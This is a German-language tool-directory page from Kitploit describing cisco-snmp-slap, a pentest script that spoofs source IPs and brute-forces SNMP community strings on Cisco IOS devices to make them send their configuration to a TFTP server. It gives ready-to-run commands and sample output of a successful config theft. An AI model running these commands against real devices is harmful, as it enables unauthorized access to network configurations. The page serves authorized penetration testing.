Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Cisco-SNMP-Slap — IP-Spoofing- und SNMP-Community-String-Brute-Force-Tool zur Umgehung von ACLs auf Cisco-IOS-Geräten und Exfiltration von Konfigurationsdateien über TFTP. | Kitploit
Tools/GitHubGitHub/nccgroup/cisco-snmp-slap
PasswortangriffeSchwachstellenanalyseExploitationInformationsbeschaffungNetzwerksicherheitPenetrationstestsRed Teaming
GitHubnccgroup/cisco-snmp-slap

Cisco-SNMP-Slap

IP-Spoofing- und SNMP-Community-String-Brute-Force-Tool zur Umgehung von ACLs auf Cisco-IOS-Geräten und Exfiltration von Konfigurationsdateien über TFTP.

Repository anzeigen
58152vor 11 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

ÜBERSICHT

cisco-snmp-slap nutzt IP-Adress-Spoofing, um eine ACL zu umgehen, die einen SNMP-Dienst auf einem Cisco-IOS-Gerät schützt.

Typischerweise hat IP-Spoofing bei realen Angriffen außerhalb von DoS nur begrenzten Nutzen. Jeder TCP- Dienst kann den anfänglichen Handshake nicht abschließen. UDP-Pakete sind leichter zu spoofen, aber das Rückpaket wird oft an die falsche Adresse gesendet, was es schwierig macht, zurückgesendete Informationen zu sammeln.

Wenn ein Angreifer jedoch die SNMP-RW-Community-String und eine gültige Quelladresse erraten kann, kann er SNMP-MIBs setzen. Eine der offensichtlichsten Verwendungen dafür ist, einen Cisco-SNMP-Dienst dazu zu bringen, seine IOS-Konfigurationsdatei an ein anderes Gerät zu senden.

Mit diesem Tool können Sie eine oder mehrere Community-Strings gegen ein Cisco-Gerät testen, von einer oder mehreren IP-Adressen. Wenn Sie IP-Adressen angeben, können Sie wählen, ob Sie einen Bereich von Quelladressen sequenziell oder zufällig durchgehen möchten.

Um einen Bereich von Quell-IP-Adressen zu prüfen, werden eine anfängliche Quelladresse und eine IP-Maske angegeben. Alle in der IP-Maske gesetzten Bits werden verwendet, um Quell-IP-Adressen zu generieren, indem die anfängliche Quelladresse verändert wird.

Wenn beispielsweise eine Quelladresse von 10.0.0.0 mit einer IP-Maske von 0.0.0.255 angegeben wird, durchsucht das Skript den Adressbereich von 10.0.0.0 bis 10.0.0.255.

Die gesetzten Bits müssen nicht wie bei einer Subnetzmaske sequenziell sein. Beispielsweise ist die Maske 0.128.1.255 gültig und durchsucht die Bereiche 10.0,128.0-1.0-255.

Beim Prüfen eines Bereichs von IP-Adressen, ob zufällig oder sequenziell, müssen Sie den Pfad zum Stammverzeichnis des TFTP-Verzeichnisses angeben. Das Skript prüft dieses Verzeichnis, um festzustellen, ob die Datei erfolgreich übertragen wurde.

Dieses Tool wurde geschrieben, um während Pentests Cisco-Layer-3-Switches anzugreifen, obwohl es auch andere Verwendungen haben könnte. Es funktioniert gut gegen diese Geräte, weil:

  1. Layer-3-Switches haben nach Erfahrung des Autors selten Reverse-Path-Verification konfiguriert
  2. es gibt keine Router oder andere Geräte, die möglicherweise erkennen könnten, dass IP-Spoofing stattfindet.

Ich hoffe jedoch, dass Benutzer andere interessante Verwendungsmöglichkeiten für dieses Skript und seinen Quellcode finden.

VERWENDUNG

In diesem Beispiel verwende ich ein einfaches IOS-Gerät mit einer Access-Liste, die einen SNMP-Dienst mit der Community-String 'cisco' schützt.

Die IP-Adresse eines IOS-Geräts ist 10.0.0.1

Der Pentester hat die IP-Adresse 10.0.0.2 und einen TFTP-Server gestartet.

Wenn der Tester all dies weiß, verwendet er den One-Shot-Einzelmodus, um die Konfigurationsdatei des Geräts zu holen. Z.B.

root@kitploit:~
./slap.py single cisco 10.0.0.2 10.100.100.100 10.0.0.1

Wenn der Tester die Details nicht kennt, kann er versuchen zu raten. Angenommen, der Tester hat etwas Aufklärung betrieben und herausgefunden, dass alle internen Adressen im 10.0.0.0/8-Bereich liegen.

root@kitploit:~
./slap.py seqmask private 10.0.0.2 10.0.0.0 0.255.255.0 10.0.0.1 /tftproot/

Dieser Befehl durchsucht alle /24-Subnetze. Der Tester hofft, Zeit zu sparen, indem er annimmt, dass ein ganzes Subnetz Zugriff erhält, anstatt nur einer einzelnen IP-Adresse.

root@kitploit:~
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask cisco 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap,  v0.3
Darren McDonald, [email protected]

WARNING: No route found for IPv6 destination :: (no default route?)
Community String:   cisco
TFTP Server IP  :   10.0.0.2
Source IP:          10.0.0.5
Source Mask:        0.255.255.0
Destination IP:     10.0.0.1
TFTP Root Path:     /tftproot//cisco-config.txt
10.0.0.5
10.0.1.5
10.0.2.5
< ... cut for brevity ... >
10.100.99.255
10.100.100.0
10.100.100.1
10.100.100.2
10.100.100.3
10.100.100.4
10.100.100.5
10.100.100.6
Success!

Ihnen wird auffallen, dass das Programm beendet wird und den Erfolg mehrere IP- Adressen nach dem Eintritt in den Bereich 10.100.100.0/24 verkündet. Das liegt daran, dass es nicht möglich ist zu bestimmen, welche Quelladresse erfolgreich war, sondern nur, dass eine der Anfragen erfolgreich war, nachdem die Konfigurationsdatei im tftproot aufgetaucht ist. Da Sie gerade die laufende Konfiguration erhalten haben, können Sie nun die Details der ACL selbst herausfinden.

Anstatt eine einzelne Community-String anzugeben, können Sie auch eine Liste angeben, die verwendet werden soll. Die Modusnamen sind dieselben, haben jedoch ein '_l'-Suffix.

Um beispielsweise denselben Angriff mit einer Liste von Community-Strings in der Datei list.txt zu wiederholen, sollten die folgenden Argumente verwendet werden.

root@kitploit:~
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask_l list.txt 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap,  v0.3
Darren McDonald, [email protected]

WARNING: No route found for IPv6 destination :: (no default route?)
Community File: list.txt
TFTP Server IP  :   10.0.0.2
Source IP:  10.0.0.5
Source Mask:0.255.255.0
Destination IP: 10.0.0.1
TFTP Root Path: /tftproot//cisco-config.txt
community strings loaded:  ['private\n', 'cisco\n', 'public\n']
10.0.0.5 /  private
10.0.0.5 /  cisco
10.0.0.5 /  public
10.0.1.5 /  private
10.0.1.5 /  cisco
10.0.1.5 /  public
10.0.2.5 /  private
10.0.2.5 /  cisco
10.0.2.5 /  public
10.0.3.5 /  private
10.0.3.5 /  cisco
10.0.3.5 /  public

Nun wird jede IP-Adresse mit jeder Community-String in list.txt überprüft.

UNTERSTÜTZUNG

Python ist, was Programmiersprachen angeht, eine einfache Sprache, leicht zu lesen und zu schreiben, und ich ermutige Sie, zu versuchen, Probleme, die Sie finden, zu debuggen und zu korrigieren und mir Ihre Änderungen zu senden, damit ich sie mit anderen Benutzern auf dem NCC-Github teilen kann.

Wenn Sie jedoch Hilfe benötigen, können Sie mich unter [email protected] kontaktieren. Ich werde mein Bestes tun, um Ihnen zu helfen, aber Sie sollten sich darüber im Klaren sein, dass ich kein Vollzeit- Entwickler bin (was an meinem Code offensichtlich sein sollte!) und möglicherweise nicht sofort Zeit für Ihre Anfrage habe.

VERSIONEN

  • 0.1 Erste Version
  • 0.2 Zufällige und sequenzielle Modi sowie Quelladressmasken hinzugefügt
  • 0.3 Funktion für Community-String-Dateiliste hinzugefügt, erste öffentliche Version
  • 0.3.1 verwendet jetzt os.sep, sodass Pfade unter Windows korrekt funktionieren
Tool herunterladen